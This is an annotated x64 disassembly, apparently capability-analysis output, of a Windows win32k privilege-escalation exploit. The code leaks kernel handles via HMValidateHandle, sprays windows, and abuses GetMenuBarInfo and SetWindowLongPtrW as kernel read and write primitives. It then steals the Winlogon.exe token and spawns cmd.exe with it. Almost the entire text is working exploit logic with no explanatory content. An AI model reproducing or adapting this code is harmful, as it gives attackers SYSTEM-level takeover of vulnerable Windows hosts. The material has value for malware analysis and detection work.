Function at 0x140001150
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate processes
Execute shellcode via indirect call
Impersonate user

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x14005c008]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, [0x140059fb0]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, qword gs:[0x60]
lea rdx, str.NtUserConsoleControl
mov rdi, rax
mov rsi, qword [rcx + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCallbackReturn
mov rcx, rdi
mov qword [0x14006dba8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll
mov qword [0x14006db98], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x14005a058]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.user32.dll
mov qword [0x14006ebb0], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r15d, r15d
mov rbx, rax
test rax, rax
jne 0x14000121c
lea rcx, str.Failed_to_load_user32
call fcn.140001010
jmp 0x14000128e
lea rdx, str.IsMenu
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
test rax, rax
jne 0x140001242
lea rcx, str.Failed_to_find_location_of_exported_function_IsMenu_within_user32.dll_n
call fcn.140001010
jmp 0x14000128e
mov eax, r15d
mov rcx, rdx
inc eax
cmp byte [rcx], 0xe8
je 0x140001267
inc rcx
cmp eax, 0x1000
jb 0x140001248
lea rcx, str.Failed_to_find_offset_of_HMValidateHandle_from_location_of_IsMenu_n
call fcn.140001010
jmp 0x14000128e
test eax, eax
jne 0x140001279
lea rcx, str.Failed_to_find_offset_of_HMValidateHandle_from_location_of_IsMenu_n
call fcn.140001010
jmp 0x14000128e
mov ecx, dword [rax + rdx]
sub ecx, ebx
add ecx, edx
add rcx, 0xb
add rcx, rbx
mov qword [0x14006db90], rcx
mov rax, qword [sym.imp.USER32.dll_DefWindowProcW]
xorps xmm0, xmm0
mov qword [rsp + 0x3e0], r12
xorps xmm1, xmm1
mov qword [rsp + 0x3e8], r13
xor ecx, ecx
mov qword [rsp + 0x3f0], r14
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rbp - 0x60], xmm1
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x70], r15
mov dword [rbp - 0x80], r15d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdi, str.PO_WND_CLS
mov dword [rbp - 0x7c], 0x100
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x50], rdi
call qword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
je 0x140001932
lea rbx, [0x14006dbb0]
lea r14, [0x14006ebb0]
nop dword [rax + rax]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x58], r15
lea r8, str.PO_WND
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], r15
mov rdx, rdi
mov qword [rsp + 0x40], r15
xor ecx, ecx
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [rbx], rax
add rbx, 8
cmp rbx, r14
jl 0x140001310
mov r8, qword [0x14006e3b0]
lea rcx, str.SprayWndHandles__x____X__n
mov edx, 0x100
call fcn.140001010
mov rcx, qword [0x14006e3b0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rcx, qword [rsi + 0x3d8]
lea r8, [0x14006dba0]
lea rdx, [0x140001070]
call fcn.140002790
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x58], r15
lea r8, str.PO_WND
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], r15
mov rdx, rdi
mov qword [rsp + 0x40], r15
xor ecx, ecx
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rdx, rax
lea rcx, str.hTargetWnd___X_n
mov r12, rax
call fcn.140001010
mov edx, 0x1c
mov qword [rbp - 0x28], 0xffff
mov r8d, 0x40c00000
mov qword [rbp + 0x298], r15
mov rcx, r12
call qword [sym.imp.USER32.dll_SetWindowLongW]
xor ecx, ecx
mov edx, 0x100
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov edx, 0x100
mov r8d, 0x3000
mov rdi, rax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov edx, 0x100
mov r8d, 0x3000
mov rbx, rax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rdi
mov edx, 0xfffffff4
mov rcx, r12
mov r13, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 0x1c
mov r8d, 0x4c00000
mov rcx, r12
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov qword [rdi + 0x28], rbx
lea rax, [rbp - 0x28]
mov qword [rdi], rax
lea rax, [rbp + 0x290]
mov dword [rbx + 0x2c], 0xffff
mov dword [rdi + 0x40], 1
mov dword [rdi + 0x44], 1
mov qword [rdi + 0x58], r13
mov qword [rbp + 0x290], rdi
mov qword [rdi + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edx, edx
mov r8d, eax
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001a38
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
mov rdx, rbx
call fcn.140001a50
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x140001a38
mov edx, 0xfffffffd
mov dword [rsp + 0x70], 0x30
lea rax, [rdi + 0x188]
mov rcx, r12
lea r9, [rsp + 0x70]
mov qword [r13], rax
lea r8d, [rdx + 4]
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
mov ecx, dword [rsp + 0x78]
lea r9, [rsp + 0x70]
mov eax, dword [rsp + 0x74]
mov edx, 0xfffffffd
shl rcx, 0x20
or rcx, rax
mov dword [rsp + 0x70], 0x30
sub rcx, 0x40
mov qword [r13], rcx
lea r8d, [rdx + 4]
mov rcx, r12
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
mov ecx, dword [rsp + 0x78]
lea r9, [rsp + 0x70]
mov eax, dword [rsp + 0x74]
mov edx, 0xfffffffd
shl rcx, 0x20
or rcx, rax
mov dword [rsp + 0x70], 0x30
add rcx, 0x180
mov qword [r13], rcx
lea r8d, [rdx + 4]
mov rcx, r12
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
mov ecx, dword [rsp + 0x78]
lea r9, [rsp + 0x70]
mov eax, dword [rsp + 0x74]
mov edx, 0xfffffffd
shl rcx, 0x20
or rcx, rax
mov dword [rsp + 0x70], 0x30
add rcx, 0x40
mov qword [r13], rcx
lea r8d, [rdx + 4]
mov rcx, r12
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
mov eax, dword [rsp + 0x74]
mov edx, 1
mov r14, qword [0x14006e3b8]
mov rcx, r12
mov edi, dword [rsp + 0x78]
mov rbx, qword gs:[0x30]
shl rdi, 0x20
or rdi, rax
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x60], rdi
call qword [0x14006db90]
sub eax, dword [rbx + 0x828]
mov esi, r15d
mov ebx, eax
nop dword [rax]
mov edx, 0xfffffffd
mov eax, esi
add rax, 0x110
mov dword [rsp + 0x70], 0x30
add rax, rbx
lea r9, [rsp + 0x70]
add rax, rdi
mov rcx, r12
lea r8d, [rdx + 4]
mov qword [r13], rax
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
mov ecx, dword [rsp + 0x78]
mov eax, dword [rsp + 0x74]
shl rcx, 0x20
or rcx, rax
cmp rcx, r14
je 0x140001672
add esi, 8
cmp esi, 0x30
jb 0x140001620
jmp 0x140001829
mov edx, 0xfffffffd
mov dword [rsp + 0x70], 0x30
add esi, 0x150
lea r9, [rsp + 0x70]
mov r15d, esi
add rbx, 0xa8
add r15, rbx
mov rcx, r12
add r15, rdi
lea r8d, [rdx + 4]
mov qword [r13], r15
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x400
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r8, [rbp - 0x40]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rdx, qword [rbp - 0x40]
mov ecx, eax
call fcn.140001a50
mov edx, 0xc8
mov r8, 0xffffffffffffffff
mov rcx, r12
mov rbx, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov ecx, dword [rsp + 0x74]
lea r14d, [rsi + 0xe8]
mov r8d, dword [rsp + 0x78]
mov edx, r14d
shl r8, 0x20
or r8, rcx
mov rcx, r12
bts r8, 0xb
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
sub rbx, qword [rsp + 0x60]
lea edi, [rsi + 0x128]
mov r8, rbx
mov edx, edi
mov rcx, r12
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
lea ebx, [rsi + 0xc8]
mov r8, 0xffffffffffffffff
mov edx, ebx
mov rcx, r12
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov rsi, qword [rsp + 0x68]
mov edx, 0x40
mov rcx, rsi
mov r8, 0xffffffffffffffff
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 0x48
mov r8, 0xffffffffffffffff
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 0x4c8
mov r8d, 7
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov edx, 0x4d8
mov r8d, 0xf
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov edx, 0xfffffffd
mov qword [r13], r15
lea r9, [rsp + 0x70]
mov dword [rsp + 0x70], 0x30
mov rcx, r12
lea r8d, [rdx + 4]
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
mov r8d, dword [rsp + 0x78]
mov edx, r14d
mov eax, dword [rsp + 0x74]
mov rcx, r12
shl r8, 0x20
or r8, rax
btr r8, 0xb
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
xor r8d, r8d
mov edx, edi
mov rcx, r12
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov r8d, 0x100
mov edx, ebx
mov rcx, r12
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 0xc8
mov rcx, r12
lea r8d, [rdx + 0x38]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov rdi, qword [rsp + 0x60]
xor r15d, r15d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001888
lea rdx, [rbp + 0x50]
mov dword [rbp + 0x50], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000187f
lea rdx, [rbp + 0x7c]
lea rcx, str.Winlogon.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x140001969
lea rdx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001855
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword gs:[0x30]
mov edx, 1
mov rcx, r12
call qword [0x14006db90]
mov edx, 0xfffffffd
mov dword [rsp + 0x70], 0x30
sub eax, dword [rbx + 0x828]
lea r9, [rsp + 0x70]
mov ecx, eax
add rcx, 0xa8
add rcx, rdi
lea r8d, [rdx + 4]
mov qword [r13], rcx
mov rcx, r12
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
xor r8d, r8d
mov rcx, r12
lea edx, [r8 - 0xc]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 0x1c
mov r8d, 0x4c00000
mov rcx, r12
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov eax, dword [rsp + 0x74]
mov edx, 0xe8
mov r8d, dword [rsp + 0x78]
mov rcx, r12
shl r8, 0x20
or r8, rax
btr r8, 0xb
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
xor r8d, r8d
mov edx, 0x128
mov rcx, r12
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
mov r14, qword [rsp + 0x3f0]
mov r13, qword [rsp + 0x3e8]
mov r12, qword [rsp + 0x3e0]
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.1400032b0
add rsp, 0x3b0
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rbp + 0x58]
test r8, r8
je 0x140001888
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r8, [rbp - 0x38]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rbp - 0x38]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], rax
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0x2000000
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x140001888
mov rcx, qword [rbp - 0x30]
lea r8, str.C:WindowsSystem32cmd.exe
xorps xmm0, xmm0
xor eax, eax
mov qword [rbp + 0x40], rax
xor r9d, r9d
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
lea edx, [r9 + 2]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x10
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
jmp 0x140001888
mov eax, 0xffffffff
jmp 0x140001934